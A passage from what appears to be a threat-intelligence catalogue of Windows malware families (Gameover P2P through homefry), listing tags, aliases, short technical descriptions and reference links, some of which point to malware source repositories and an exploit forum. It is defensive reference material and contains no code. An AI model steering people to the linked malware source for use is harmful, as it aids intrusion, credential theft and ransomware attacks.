https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga

Gameover P2P

Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers.

The tag is: misp-galaxy:malpedia="Gameover P2P"

Gameover P2P is also known as:

GOZ
ZeuS P2P

Table 1360. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p
https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf
http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf
https://www.wired.com/?p=2171700
https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware
https://www.fox-it.com/nl/wp-content/uploads/sites/12/FoxIT-Whitepaper_Blackhat-web.pdf

Gamotrol

The tag is: misp-galaxy:malpedia="Gamotrol"

Gamotrol is also known as:

Table 1361. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol

Gandcrab

The tag is: misp-galaxy:malpedia="Gandcrab"

Gandcrab is also known as:

GrandCrab

Table 1362. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab
https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/
https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/
https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/
http://asec.ahnlab.com/1145
https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/
http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/
https://isc.sans.edu/diary/23417
https://tccontre.blogspot.com/2018/11/re-gandcrab-downloader-theres-more-to.html
https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html
https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/
http://csecybsec.com/download/zlab/20181001_CSE_GandCrabv5.pdf
https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/
https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom

Gaudox

Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only).

The tag is: misp-galaxy:malpedia="Gaudox"

Gaudox is also known as:

Table 1363. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox
http://nettoolz.blogspot.ch/2016/03/gaudox-http-bot-1101-casm-ring3-rootkit.html

Gauss

The tag is: misp-galaxy:malpedia="Gauss"

Gauss is also known as:

Table 1364. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gauss
http://contagiodump.blogspot.com/2012/08/gauss-samples-nation-state-cyber.html

Gazer

The tag is: misp-galaxy:malpedia="Gazer"

Gazer is also known as:

WhiteBear

Table 1365. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer
https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/
https://securelist.com/introducing-whitebear/81638/
https://www.youtube.com/watch?v=Pvzhtjl86wc
https://github.com/eset/malware-ioc/tree/master/turla
https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf

gcman

The tag is: misp-galaxy:malpedia="gcman"

gcman is also known as:

Table 1366. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman
https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/

GearInformer

The tag is: misp-galaxy:malpedia="GearInformer"

GearInformer is also known as:

Table 1367. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gearinformer
https://www.rekings.com/ispy-customers/
https://wapacklabs.blogspot.ch/2017/02/rebranding-ispy-keylogger-gear-informer.html

GEMCUTTER

According to FireEye, GEMCUTTER is used in a similar capacity as BACKBEND (downloader), but maintains persistence by creating a Windows registry run key. GEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing. If the mutex doesn’t exist, the malware creates it and continues execution; otherwise, the malware signals the MicrosoftGMMExit event.

The tag is: misp-galaxy:malpedia="GEMCUTTER"

GEMCUTTER is also known as:

Table 1368. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

GetMail

The tag is: misp-galaxy:malpedia="GetMail"

GetMail is also known as:

Table 1369. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

GetMyPass

The tag is: misp-galaxy:malpedia="GetMyPass"

GetMyPass is also known as:

getmypos

Table 1370. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass
https://blog.trendmicro.com/trendlabs-security-intelligence/new-pos-malware-kicks-off-holiday-shopping-weekend/
https://securitykitten.github.io/2014/11/26/getmypass-point-of-sale-malware.html
https://securitykitten.github.io/2015/01/08/getmypass-point-of-sale-malware-update.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-evolution-of-point-of-sale-pos-malware

Ghole

The tag is: misp-galaxy:malpedia="Ghole"

Ghole is also known as:

CoreImpact (Modified)
Gholee

Table 1371. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole
https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf

Gh0stnet

The tag is: misp-galaxy:malpedia="Gh0stnet"

Gh0stnet is also known as:

Remosh

Table 1372. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet
https://en.wikipedia.org/wiki/GhostNet
https://www.nartv.org/2019/03/28/10-years-since-ghostnet/
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html

GhostAdmin

The tag is: misp-galaxy:malpedia="GhostAdmin"

GhostAdmin is also known as:

Ghost iBot

Table 1373. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin
https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/
https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html

Ghost RAT

The tag is: misp-galaxy:malpedia="Ghost RAT"

Ghost RAT is also known as:

Gh0st RAT
PCRat

Table 1374. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat
https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/
http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf
https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf
http://www.malware-traffic-analysis.net/2018/01/04/index.html
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/
http://www.hexblog.com/?p=1248
https://blog.cylance.com/the-ghost-dragon
https://www.intezer.com/blog-chinaz-relations/

Glasses

The tag is: misp-galaxy:malpedia="Glasses"

Glasses is also known as:

Wordpress Bruteforcer

Table 1375. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses
https://forum.exploit.in/pda/index.php/t102378.html

GlassRAT

The tag is: misp-galaxy:malpedia="GlassRAT"

GlassRAT is also known as:

Table 1376. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat
https://community.rsa.com/community/products/netwitness/blog/2015/11/25/detecting-glassrat-using-security-analytics-and-ecat

GlitchPOS

The tag is: misp-galaxy:malpedia="GlitchPOS"

GlitchPOS is also known as:

Table 1377. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glitch_pos
https://blog.talosintelligence.com/2019/03/glitchpos-new-pos-malware-for-sale.html

GlobeImposter

The tag is: misp-galaxy:malpedia="GlobeImposter"

GlobeImposter is also known as:

Table 1378. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter
https://www.bleepingcomputer.com/news/security/new-doc-globeimposter-ransomware-variant-malspam-campaign-underway/
https://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant
https://info.phishlabs.com/blog/globe-imposter-ransomware-makes-a-new-run
https://isc.sans.edu/diary/23417
https://blog.ensilo.com/globeimposter-ransomware-technical
https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet

Globe

The tag is: misp-galaxy:malpedia="Globe"

Globe is also known as:

Table 1379. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.globe_ransom

GlooxMail

The tag is: misp-galaxy:malpedia="GlooxMail"

GlooxMail is also known as:

Table 1380. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Glupteba

The tag is: misp-galaxy:malpedia="Glupteba"

Glupteba is also known as:

Table 1381. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba
http://resources.infosecinstitute.com/tdss4-part-1/
http://malwarefor.me/2015-04-13-nuclear-ek-glupteba-and-operation-windigo/
https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/
https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/
https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/

Godzilla Loader

The tag is: misp-galaxy:malpedia="Godzilla Loader"

Godzilla Loader is also known as:

Table 1382. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4349&p=28427#p28346

Goggles

The tag is: misp-galaxy:malpedia="Goggles"

Goggles is also known as:

Table 1383. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

GoldenEye

The tag is: misp-galaxy:malpedia="GoldenEye"

GoldenEye is also known as:

Petya/Mischa

Table 1384. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/
https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/
http://www.threatgeek.com/2017/02/spying-on-goldeneye-ransomware.html

GoldDragon

The tag is: misp-galaxy:malpedia="GoldDragon"

GoldDragon is also known as:

Table 1385. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon
https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Golroted

The tag is: misp-galaxy:malpedia="Golroted"

Golroted is also known as:

Table 1386. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.golroted
http://www.vkremez.com/2017/11/lets-learn-dissecting-golroted-trojans.html

Goodor

The tag is: misp-galaxy:malpedia="Goodor"

Goodor is also known as:

Fuerboos

Table 1387. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor
https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control

GoogleDrive RAT

The tag is: misp-galaxy:malpedia="GoogleDrive RAT"

GoogleDrive RAT is also known as:

Table 1388. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.google_drive_rat
https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf

GooPic Drooper

The tag is: misp-galaxy:malpedia="GooPic Drooper"

GooPic Drooper is also known as:

Table 1389. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic
https://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/

GootKit

Gootkit is a banking trojan, where large parts are written in javascript (node.JS). It jumps to C/C++-library functions for various tasks.

The tag is: misp-galaxy:malpedia="GootKit"

GootKit is also known as:

Xswkit
talalpek

Table 1390. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit
https://www.lexsi.com/securityhub/homer-simpson-brian-krebs-rencontrent-zeus-gootkit/
http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html
https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/
https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055
https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps
https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/
https://www.us-cert.gov/ncas/alerts/TA16-336A
http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html
https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/
https://www.youtube.com/watch?v=242Tn0IL2jE
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3669
https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/
http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/
https://news.drweb.com/show/?i=4338&lng=en
https://www.youtube.com/watch?v=QgUlPvEE4aw
https://www.cyphort.com/angler-ek-leads-to-fileless-gootkit/

GovRAT

The tag is: misp-galaxy:malpedia="GovRAT"

GovRAT is also known as:

Table 1391. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat
https://www.yumpu.com/en/document/view/55930175/govrat-v20

Gozi

2000 Ursnif aka Snifula 2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) → 2010 Gozi Prinimalka → Vawtrak/Neverquest

In 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed. It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.

In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.

The tag is: misp-galaxy:malpedia="Gozi"

Gozi is also known as:

CRM
Gozi CRM
Papras
Snifula
Ursnif

Table 1392. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi
http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html
https://www.secureworks.com/research/gozi
https://lokalhost.pl/gozi_tree.txt
https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007
http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/

GPCode

The tag is: misp-galaxy:malpedia="GPCode"

GPCode is also known as:

Table 1393. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode
http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html
http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/
https://de.securelist.com/analysis/59479/erpresser/
ftp://ftp.tuwien.ac.at/languages/php/oldselfphp/internet-security/analysen/index-id-200883584.html
https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2

GrabBot

The tag is: misp-galaxy:malpedia="GrabBot"

GrabBot is also known as:

Table 1394. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot
http://blog.fortinet.com/2017/03/17/grabbot-is-back-to-nab-your-data

Graftor

The tag is: misp-galaxy:malpedia="Graftor"

Graftor is also known as:

Table 1395. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor
http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html

Grateful POS

POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.

The tag is: misp-galaxy:malpedia="Grateful POS"

Grateful POS is also known as:

FrameworkPOS
trinity

Table 1396. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf
http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season

Gratem

The tag is: misp-galaxy:malpedia="Gratem"

Gratem is also known as:

Table 1397. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose

Gravity RAT

The tag is: misp-galaxy:malpedia="Gravity RAT"

Gravity RAT is also known as:

Table 1398. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat
https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html

GREASE

The tag is: misp-galaxy:malpedia="GREASE"

GREASE is also known as:

Table 1399. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grease
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/

GreenShaitan

The tag is: misp-galaxy:malpedia="GreenShaitan"

GreenShaitan is also known as:

eoehttp

Table 1400. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan
https://blog.cylance.com/spear-a-threat-actor-resurfaces

GreyEnergy

The tag is: misp-galaxy:malpedia="GreyEnergy"

GreyEnergy is also known as:

Table 1401. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy
https://www.nozominetworks.com/2019/02/12/blog/greyenergy-malware-research-paper-maldoc-to-backdoor/
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf
https://www.eset.com/int/greyenergy-exposed/
https://securelist.com/greyenergys-overlap-with-zebrocy/89506/
https://github.com/NozomiNetworks/greyenergy-unpacker

GROK

The tag is: misp-galaxy:malpedia="GROK"

GROK is also known as:

Table 1402. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grok
https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf

gsecdump

The tag is: misp-galaxy:malpedia="gsecdump"

gsecdump is also known as:

Table 1403. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump
https://attack.mitre.org/wiki/Technique/T1003

H1N1 Loader

The tag is: misp-galaxy:malpedia="H1N1 Loader"

H1N1 Loader is also known as:

Table 1404. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1
https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities

Hacksfase

The tag is: misp-galaxy:malpedia="Hacksfase"

Hacksfase is also known as:

Table 1405. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

HackSpy

Py2Exe based tool as found on github.

The tag is: misp-galaxy:malpedia="HackSpy"

HackSpy is also known as:

Table 1406. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hackspy
https://github.com/ratty3697/HackSpy-Trojan-Exploit

Hamweq

The tag is: misp-galaxy:malpedia="Hamweq"

Hamweq is also known as:

Table 1407. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq
https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf

Hancitor

The tag is: misp-galaxy:malpedia="Hancitor"

Hancitor is also known as:

Chanitor

Table 1408. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear
https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/
http://www.morphick.com/resources/lab-blog/closer-look-hancitor
https://blog.minerva-labs.com/new-hancitor-pimp-my-downloader
https://researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/
https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html
https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/
https://www.vkremez.com/2018/11/lets-learn-in-depth-reversing-of.html
https://www.uperesia.com/hancitor-packer-demystified
https://0ffset.net/reverse-engineering/malware-analysis/reversing-hancitor-again/
https://www.zscaler.com/blogs/research/chanitor-downloader-actively-installing-vawtrak
https://boozallenmts.com/resources/news/closer-look-hancitor
https://researchcenter.paloaltonetworks.com/2016/08/unit42-pythons-and-unicorns-and-hancitoroh-my-decoding-binaries-through-emulation/

HappyLocker (HiddenTear?)

The tag is: misp-galaxy:malpedia="HappyLocker (HiddenTear?)"

HappyLocker (HiddenTear?) is also known as:

Table 1409. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.happy_locker

Harnig

The tag is: misp-galaxy:malpedia="Harnig"

Harnig is also known as:

Piptea

Table 1410. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig
https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html
https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html

Havex RAT

Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as "Dragonfly" and "Energetic Bear". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.

Once installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.

Havex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.

The tag is: misp-galaxy:malpedia="Havex RAT"

Havex RAT is also known as:

Table 1411. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat
https://www.f-secure.com/weblog/archives/00002718.html

HawkEye Keylogger

The tag is: misp-galaxy:malpedia="HawkEye Keylogger"

HawkEye Keylogger is also known as:

HawkEye Reborn
Predator Pain

Table 1412. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger
https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html
https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/
https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/
https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html
https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/
https://researchcenter.paloaltonetworks.com/2015/10/surveillance-malware-trends-tracking-predator-pain-and-hawkeye/

Helauto

The tag is: misp-galaxy:malpedia="Helauto"

Helauto is also known as:

Table 1413. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Helminth

The tag is: misp-galaxy:malpedia="Helminth"

Helminth is also known as:

Table 1414. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth
https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/

Heloag

The tag is: misp-galaxy:malpedia="Heloag"

Heloag is also known as:

Table 1415. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag
https://securelist.com/heloag-has-rather-no-friends-just-a-master/29693/
https://www.arbornetworks.com/blog/asert/trojan-heloag-downloader-analysis/

Herbst

The tag is: misp-galaxy:malpedia="Herbst"

Herbst is also known as:

Table 1416. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.herbst
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware

Heriplor

The tag is: misp-galaxy:malpedia="Heriplor"

Heriplor is also known as:

Table 1417. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://insights.sei.cmu.edu/cert/2019/03/api-hashing-tool-imagine-that.html

Hermes

The tag is: misp-galaxy:malpedia="Hermes"

Hermes is also known as:

Table 1418. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside

Hermes Ransomware

The tag is: misp-galaxy:malpedia="Hermes Ransomware"

Hermes Ransomware is also known as:

Table 1419. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes_ransom
https://blog.dcso.de/enterprise-malware-as-a-service/
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside

HerpesBot

The tag is: misp-galaxy:malpedia="HerpesBot"

HerpesBot is also known as:

Table 1420. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes

HesperBot

The tag is: misp-galaxy:malpedia="HesperBot"

HesperBot is also known as:

Table 1421. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot

HiddenTear

The tag is: misp-galaxy:malpedia="HiddenTear"

HiddenTear is also known as:

Table 1422. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/hidden-tear-project-forbidden-fruit-is-the-sweetest/
https://twitter.com/struppigel/status/950787783353884672
https://github.com/goliate/hidden-tear

HideDRV

The tag is: misp-galaxy:malpedia="HideDRV"

HideDRV is also known as:

Table 1423. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hidedrv
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf

HiKit

The tag is: misp-galaxy:malpedia="HiKit"

HiKit is also known as:

Table 1424. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit
https://www.recordedfuture.com/hidden-lynx-analysis/
https://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware

himan

The tag is: misp-galaxy:malpedia="himan"

himan is also known as:

Table 1425. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.himan
https://www.checkpoint.com/threatcloud-central/downloads/check-point-himan-malware-analysis.pdf

Hi-Zor RAT

The tag is: misp-galaxy:malpedia="Hi-Zor RAT"

Hi-Zor RAT is also known as:

Table 1426. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat

HLUX

The tag is: misp-galaxy:malpedia="HLUX"

HLUX is also known as:

Table 1427. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux

homefry

a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors. Some strings are obfuscated with XOR x56. The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session.

The tag is: misp-galaxy:malpedia="homefry"

homefry is also known as:

